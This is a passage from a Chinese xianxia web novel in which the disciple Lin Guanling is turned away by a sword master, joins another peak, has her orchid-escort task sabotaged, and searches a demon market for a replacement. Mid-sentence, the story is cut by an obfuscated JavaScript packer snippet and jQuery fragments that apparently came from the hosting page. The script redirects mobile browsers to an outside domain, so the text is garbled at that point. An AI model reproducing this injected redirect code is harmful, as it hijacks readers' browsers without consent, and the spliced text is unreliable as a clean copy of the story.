蔺观铃将他轰了出去。


    虽不知他话中真假,她暗暗测了他的修为,堪堪筑基。又出身世家,没什么理由能与那些人扯上关系。


    真是古怪的很,莫不是被一傻子给缠上了。


    砰砰砸门声再没断绝,门外人仍不罢休:“观铃……”


    蔺观铃将屋内房门关上,上床打坐,将那嘈杂声隔绝在外。


    日头很快落下,伴随着周围安静下来的同时,头脑逐渐清明。


    感受到晨光,她睁开眼,没想到那传讯比她想象的来得还要快。


    更没想到,昨日被她毫不留情扫地出门的少年此时与她站在一起,仍不死心悄声叫着她的名字。


    “噤声!”纪见凌厉声喝道,十足的师兄威严。


    东方羡哼了一声,不再说话,只是朝着蔺观铃又走近了些。


    纪见凌蹙着眉,冷冷丢下一句“我去禀告师尊”便挥袖而去。


    这师兄的脾气怎么比初见时还要大?蔺观铃虽是不解,想着后面抬头不见低头见,还是留在原地安静等候。


    随后便是漫长的等候。


    身旁的东方羡百无聊赖,见蔺观铃也不搭理他,索性做起了自己最擅长的事,寻个舒服的地睡大觉。


    她侧过头,默默勘测着日光的高度。


    树影浮动,跃影浮金。蔺观铃端坐在此,耳边只剩下断断续续的树叶摸索声。


    直到一道闪光倏然袭来,她眼疾手快,抽出剑身将其打偏。


    玉石白墙,赫然留下一道深刻凹痕。待人定睛一看,那卡进深痕之中的,竟只是一片薄叶。


    来人缓缓走出,浅笑出声,对她赞赏有佳:“反应不错。”


    纪见凌跟在身后,见此情景暗地松了口气。


    蔺观铃转头,只是一眼便觉得这人气度不凡,姿态虽随意散漫,周身却携着暗暗的微压。


    她连忙抬手作礼。


    浮云泽笑而不语,视线在她和一旁仍处于迷糊的东方羡中流连。却单单对着她说:


    “你想拜入我的门下?”


    蔺观铃立马表态,正色道:“是。”


    “早就听闻浮峰主的剑术乃是举世无双,弟子心向往之。”


    这番话可谓是及其拍马屁,浮云泽笑意加深,“比起剑术,你的其他长处不是更为突出?为何单单只想要来学习剑术?”


    闻言,蔺观铃有些愣住。


    这位浮峰主深居简出,出了名的难见面。若不是今日拜师,恐怕她这辈子都难以见他几面。


    这种人,又怎会在乎她这小小的外门弟子,原因不外乎只有一个。


    有人泄密了。


    蔺观铃瞪了一眼立于一旁的少年,随即低眉顺眼应答:“弟子单单醉心于剑术,旁的不过是锦上添花,作个补充短处的法子。”


    “此次,便是想精进。”


    浮云泽语气一转:“你倒是有自知之明。点苍台不收愚笨的人。剑,可不是单单握住挥动就能学成的。”


    蔺观铃再次作礼:“单凭峰主指点。”


    男人不置可否,靠近那张留下痕迹的白墙,抚摸这其上的深痕。


    “你没有剑心,又怎的学剑。”


    简直是赤裸裸的拒绝。


    此话一出,在场余下三人皆是面色一变。


    自从七情恢复,蔺观铃少有情绪波动,今日倒算得上一次。


    她心中突生一股怨气,使剑多年,这倒是头次有人这般说她不适合用剑。


    那她平常用的什么砍人?菜刀吗?


    “师尊……”纪见凌迟疑开口,正想阻拦,没想到声音始终脱不了口。


    竟是给他下了噤声的术法。


    蔺观铃莫名有了一股倔劲,不依不饶:“峰主此话怎讲?”


    “你空有形,却无神。”


    他一眼便看出了她的不服气,仍是那副温润模样,转身让她劈开那座山石。


    山石约莫八尺高十尺宽,表面附着点点青苔,常年的雨水树叶冲刷导致外部有点点腐蚀。完全就是一块再普通不过的石头。


    这有何难?她立即抽出长剑,数道凌冽光芒袭去,巨石不堪摧残,似是要破碎开来。


    浮云泽摇了摇头,并不满意:“只是蛮力。”


    “你我并无师徒缘分,小友还是另寻他人罢。”他挥袖转身,指了指一旁目瞪口呆的东方羡让其跟上来。


    少女持剑仍立在原地,表情呆愣。


    这股从心底涌上的猛烈情绪是什么,虽是不解,只觉得这股气从胸腔一直充斥到头颅。


    她突然很想打人。


    蔺观铃指向那艳丽少年,直直问道:“难不成他就有剑心?”


    东方羡倒是颇不好意思,凑近她想说几句贴心话,表明自己也要随她而去,没想到浮云泽淡声道:“受东方宗主所托,庇护他那不成器的小儿。”


    东方羡立马表明态度,朗声道她去哪自己就去哪。


    浮云泽倒是笑笑不说话,敲了敲他的头,少年就像失了魂般,闭上嘴乖顺的跟着二人身后离开。


    他回头时,蔺观铃仍在原地,低垂着眼不知何种情绪。


    纪见凌心中不愿,转身欲走向她之时,一道声音适时叫住了他。


    “见凌。”浮云泽眼中含有几分警告。


    丁旭看着她跟朵焉了的花似的,被吓了一大跳,听完她的叙述后更是惊异。


    “浮峰主真是这么说的?”他呲牙咧嘴,咋舌道:“这……”


    浮云泽脾性确实有些古怪,可没想到居然会这么不近人情。


    说剑修不适合修剑……这不直接将人全盘藐视了一番吗??


    好歹是自己将她引荐进来,看着她这样子,丁旭有些过意不去,尽力宽慰她:“无事,说不定……是浮峰主年龄大了,单纯犯懒不想再带弟子了。”


    “别气馁呀!还有十一峰呢!”他拍了拍桌案,扯着嗓子叫唤,比当事人还要亢奋。


    “咱退而求其次,拜下一个峰!”


    再次拜师,这次比她想象的还要容易。


    比起浮云泽毫不留情的剑心否定说,这位揽月崖峰主宋方怡可谓是十分平易近人和蔼可亲。


    用她的话来说,便是见蔺观铃第一眼便对她心生喜欢,若是在旁人门下她都要抢来的。


    入门流程十分流利自然,进山门到领到专属的弟子令牌,不过一个时辰。


    她摸索着令牌凹凸不平的轮廓,思绪有些飘忽。


    进入内门,除了提升实力外,还有另一件事。


    沿着阶梯一路往上,只上云霄。她抬头定了定睛,那座高大楼阁逐渐显露。


    此处便是长衡的纳经阁,天文地理,术法道义,皆可在里面找寻。


    而进入其中,前提为必须为内门的弟子。


    今日,她不是第一次来。


    为了勘破沈弦留下的遗物,她不止一次指使小刘潜入纳经阁。


    可皆是一无所获。她看着那不停变换的楼阁,或许自己去一趟能有所发现。


    进入内门后,生活也没什么多大的改变。


    她的东西不多,从朝颜院到了揽月崖,将自己的行李尽数放进去后,空阔的卧房仍旧空得过分。


    弟子月例也整整多了好几倍,从前咬紧牙关才能节省下来的,在这倒是轻轻松松攒下一大堆。


    她这才切身体会,内门弟子的待遇简直不是好了太多。


    到了新的洞府,自会有人上门来祝贺。


    颂香知道她进了内门,兴冲冲的扯着她上街买了一大堆吃喝玩乐,赠了她不少。


    东方羡倒是哀怨不已,吵着闹着要跟她一同去揽月崖,被同行的纪见凌吓了一通才安分。


    “给你。”纪见凌从身后拿出一长状物品,外表裹上一层厚厚锦布。对上她的目光后,又下意识扭过头。


    “咳,谢谢之前救我,替我包扎。”


    他接着说:“也庆贺你进入内门。”说到此处,心中又有几分失落。


    为什么?师尊为何不收下她?蔺观铃的资质不在于他之下,为人又是勤奋好学的。


    所谓什么剑心,在此之前,浮云泽收徒从未未有这样的说法。


    他有意再劝说,将蔺观铃收入门下,没想到浮云泽直接躲进洞府,宣布闭关修炼一段时日。


    这般巧合,他很难不相信他不是故意为之。


    蔺观铃嫌少收到他人的礼物,于是下意识的想要回绝,却见他蓦然掀开雪白锦布,沉铁剑身如水,在她面前显露出来。


    只是一眼,她便知道此为世间珍品。


    “若不是我,你那柄剑也不会受损繁多。”怕她不愿意,他连忙补充。


    “就当是我的补偿。”


    劝说到这个份上,她一时也不知道再说什么。


    可这把剑实在是太过和她心意,压在喉间的拒绝话语更是说不出来。


    送走了二人,她正要掩门之时,却突然瞧见一人的身影。


    再次见到她,没想到会成为自己的同门师妹。


    季澜青心下欣喜,但想起二人的过往,又不自觉的离她的距离远了些。


    本以为刻意离她远一些,四周的非议便能减少一些。


    对于蔺观铃,他从未有过一丝埋怨,倒是有些庆幸。


    庆幸二人能有所交集。


    “蔺师妹。”季澜青笑得温和,望向她的目光总是温柔似水。


    “数日未见,没想到,再次见面便成为了我的师妹。”话语间是难以掩藏的温柔情意。


    蔺观铃点了点头,秉承着同门间互敬互爱,回应了他:“季师兄,你的伤还好吗?”


    季澜青笑容柔和,说自己身体早已大好,不必再担忧。


    二人不太熟悉,本应没有多少话题。可但季澜青有意拉长二人相处的时间,东扯西扯许久,直到日头西下,他才起身告别。


    临别之际,他有些迟疑,随即心中一番纠结之后,总算是下定了决心。


    若是之前,二人距离过远,自己总是给她带了一连串的麻烦。可她从未有过半点不忿,反倒是因为伤了他一直多有补偿。


    直到现在,他的床头还放着那日她送来的药膏,竟是分毫不舍得使用。


    而现在,二人同为一个师门,每日免不了相见。


    埋藏于心中的喜欢又疯狂冒了出来。


    季澜青怀着淡淡忐忑,目视着身前的少女,问道:“初来揽月崖,应多有不熟悉的地方。”


    “若是你愿意,”他顿了顿,“明日我带你游览可好?”


    见她有些犹豫,他捂住心口,似要晕眩,随后对她惨然一笑:“抱歉,自从那日过后,便时不时有些不适。”


    少女是个面冷心善的,只要对她示示弱,卖卖惨,什么理由都会答应你。


    他知道她不会拒绝。


    果不其然,说完这句话后,少女犹豫的神情一扫而空,答应了他。


    -


    成为内门弟子,她每日除了必要的修行之外,还要完成历练任务。


    进入揽月崖后,她便没了再赚钱的念头。日常中便去除了大大小小的琐事,可如今还是有大大小小的麻烦接踵而至。


    不外乎是那些因着季澜青的缘故厌恶她的那群人。


    总是会无故消失的随身物品,互相喂招时带有恶意的暗袭等等。


    蔺观铃倒是习以为常,每日该做什么就做什么。


    季澜青是门内出了名的温柔大师兄,在一次亲眼目睹他人做的手脚过后,才发觉她的处境如此艰难,头次对着所有弟子厉声教训一通,并罚所有人抄门规五十遍。


    他这才惊觉,自己给她带来多少不便。


    一群人被教训过后,对她的恶意不减反赠,可碍于季澜青,又不好的下手。


    于是从明面上的恶意,转变为了私下的对付。


    这就导致蔺观铃在找人切磋之时永远无人可找。


    此时,季澜青便会主动上前,与她互相喂招,多作提点。


    那群人对她的怨恨便更大了些。


    到了需要领取宗门历练任务的时间,轮到蔺观铃时,只留下了众人都不愿意选择的任务。


    这次需要她运送一种名叫鬼见兰的珍贵花草。从长衡一直到数里开外的南下,路途遥远,所运送的东西又分外娇贵,一番折腾下来,说不定途中还会遇到什么狂风暴雨、山野匪徒,运送任务的难度大大增加。


    她盘算着时间,若是途中寻找最佳路线一路极速御剑前行,只需三日便可到达。


    没想到她低估了人的劣根性。


    装载着鬼见兰的木盒到她的手中时,就已破败不堪。


    蔺观铃下意识觉得不妙,打开木盒,果不其然。


    那清丽娇贵的花朵枯黄,破破烂烂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528565|186344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的倒在木盒底处,翠绿枝叶被拔个精光,毫无生气。


    还未出门,任务便已失败。


    前来送木盒的弟子幸灾乐祸,语气讽刺道:“呀,这鬼见兰刚刚还是好好的,怎的一到师妹手里就如此惨状。”


    她佯装烦恼,娇声道:“这可怎么办啊,鬼见兰如此珍贵,师妹头次任务便表现得如此糟糕。”


    “也不知道大师兄和峰主该怎样失望呢……”


    少女面色沉着,看向她的一双眸子黑白分明,毫无感情。这师姐见她毫不慌乱,看着她这副神情居然有些惧怕。


    对视不过几秒,对方的眼神实在太过瘆人,没多久她就败下阵来,扔下盒子气冲冲的转身离去。


    “我要是你,就识相点早点滚出揽月崖。”


    -


    那师姐离去时衣袤翻飞的声响还未散尽,蔺观铃已经蹲下身,捡起了那个破破烂烂的木盒。


    她想起领取任务时,执事长老特意交代过,鬼见兰极娇贵,需以灵力温养,避光避震。她连专用的养护法诀都私下练习了数十遍。


    可现在,一切都成了笑话。


    她轻轻打开盒盖,看着那株本该清丽脱俗、此刻却如同被践踏过的野草般的灵植,胸口堵得发慌。枯黄的花瓣一碰就碎,光秃秃的枝干上还留着被粗暴掐断的痕迹。


    妖市。那是走投无路之人才会去的地方,危险,却也是她眼下唯一的指望。


    她不再耽搁,将木盒残骸小心收进最内层的储物袋,转身就朝山下走。步子很快,带着一股不愿回头的决绝。


    永夜镇永远浸在一种粘稠的潮湿里,青石板路泛着水光,两旁的墙壁爬满深色苔藓。


    天色昏沉,尚未全黑,但镇上的灯火已经稀稀拉拉亮起,在浓雾中晕开一团团模糊的光晕。空气里有饭菜的香气,也有某种腐败和异香混合的、说不清道不明的味道。


    她拉低兜帽,凭着记忆在迷宫般的小巷里穿行。心跳得有些快,不是因为惧怕妖市,而是怕来不及。若三日内赶不回南下交付,哪怕找到鬼见兰,任务也算失败了。


    无灯巷藏在镇子最偏僻的角落,名副其实,越往深处越黑,只有巷口远处一盏孤零零的灯笼,像一只昏昏欲睡的眼睛。


    她停下脚步,深吸了一口带着霉味的空气,抬手,依照记忆,不轻不重地叩响石门。


    叩、叩、叩……停顿……叩、叩。


    石门无声地滑开一道缝,更浓烈、更复杂的香气汹涌而出,带着不属于人间的喧嚣。门内是深不见底的黑暗。蔺观铃抿了抿唇,侧身挤了进去。


    光线、声音、气味瞬间炸开。


    头顶是没有日月星辰的幽蓝虚空,漂浮着无数发光的灯笼,照亮了下方的长街。


    街道宽阔得不像话,挤满了奇形怪状的“人”。长着狐狸尾巴的少女在娇笑着兜售胭脂,膀大腰圆的熊妖扛着血淋淋的兽肉叫卖,裹在黑袍里的修士蹲在地上,面前摆着闪烁着不祥光芒的符箓。各种腔调的叫卖、议价、低语、嘶吼混杂在一起,冲击着感官。


    蔺观铃定了定神,压住内心的震惊,拉紧兜帽,埋头扎进人潮。


    她一个个摊位看过去,寻找着灵植的踪迹。有的摊位上摆着会蠕动的人参娃娃,有的放着幽光闪烁的蘑菇,甚至还有被封在冰里、眉眼如生的雪莲,就是没有鬼见兰。


    问了几家,不是爱答不理,就是眼神贪婪地上下打量她,报出离谱的价格。“小丫头,鬼见兰?那东西可金贵得很,你出得起价吗?”一个尖嘴猴腮的摊主嗤笑着,露出满口黄牙。


    就在她心灰意冷,准备转向更危险的区域碰运气时,眼角余光瞥见了街角最不起眼的地方。一个头发花白、穿着打补丁葛布衣的老婆婆,坐在一个小马扎上,身前只铺了一块洗得发白的黑布,上面零星摆着几株蔫头耷脑、其貌不扬的草药。老婆婆身后,站着个戴着半张旧青铜面具的年轻男子,抱着臂,像个沉默的影子。


    而黑布的角落,一个豁了口的粗陶盆里,栽着一株植物。


    植株不高,暗紫色的叶子,叶脉里像有银色的血液在流淌,顶端,一枚鸽卵大小的花苞紧闭着,颜色是那种极纯粹、极深邃的墨黑,仿佛多看两眼,连目光都会被吸进去。


    鬼见兰!而且是一株生机勃勃、即将盛放的极品!


    蔺观铃的心猛地跳了一下,几乎是小跑着过去,蹲下身,声音因为急切而带上了一丝不易察觉的颤抖:“婆婆,这个,怎么换?”


    老婆婆抬起眼皮,慢悠悠地看了她一眼。


    那眼神浑浊,却又像能看透人心。“小姑娘,急什么。”她声音沙哑,带着点痰音,“这‘夜幽兰’,老身不卖钱。”


    “那您要什么?”蔺观铃追问,手心有些冒汗。


    “一个承诺。”老婆婆慢条斯理地说,枯瘦的手指指了指她,“或者,一段记忆。”


    承诺?记忆?蔺观铃愣住了。这比明码标价更让人心慌。承诺什么?拿走哪段记忆?


    见她抿着嘴不说话,老婆婆也不急,用指尖轻轻碰了碰那墨黑的花苞,自顾自地说:“这花啊,娇气,认主。它能照见人心底最想要的东西,也能……放大心里的恐惧和软弱。你要它,做什么用?”


    “交任务。”蔺观铃老实回答,从储物袋里拿出那个破木盒,打开,露出里面枯死的残骸,“我原定的那株,被人毁了。”


    “哦?”老婆婆的目光在枯死的花和蔺观铃年轻却紧绷的脸上转了转,“毁了便毁了,再寻一株便是。为何非要执着于交这个任务?揽月崖……待着很舒心?”


    她抬起头,眼神里那点迷茫被压了下去,只剩下清晰的坚定:“那里是不好待,但我不想就这么认输。拿到鬼见兰,完成任务,是我现在唯一能走、也必须走的路。我不能就这么被人赶出去。”


    老婆婆静静地听着,布满皱纹的脸上看不出什么表情。她身后的面具男子,目光似乎也落在蔺观铃身上停留了一瞬。


    半晌,老婆婆忽然轻轻笑了一下,声音依旧沙哑,却少了些之前的疏离:“性子倒是倔,像头小蛮牛。”她伸出干枯的手,“罢了,看你顺眼。这‘夜幽兰’,你用你身上那株枯死的来换吧。”


    “啊?”蔺观铃彻底懵了。这枯死的……有什么用?


    她迟疑着把木盒递过去。老婆婆接过,仔细看了看那株枯兰,眼神有些飘远,像是透过它在看别的什么。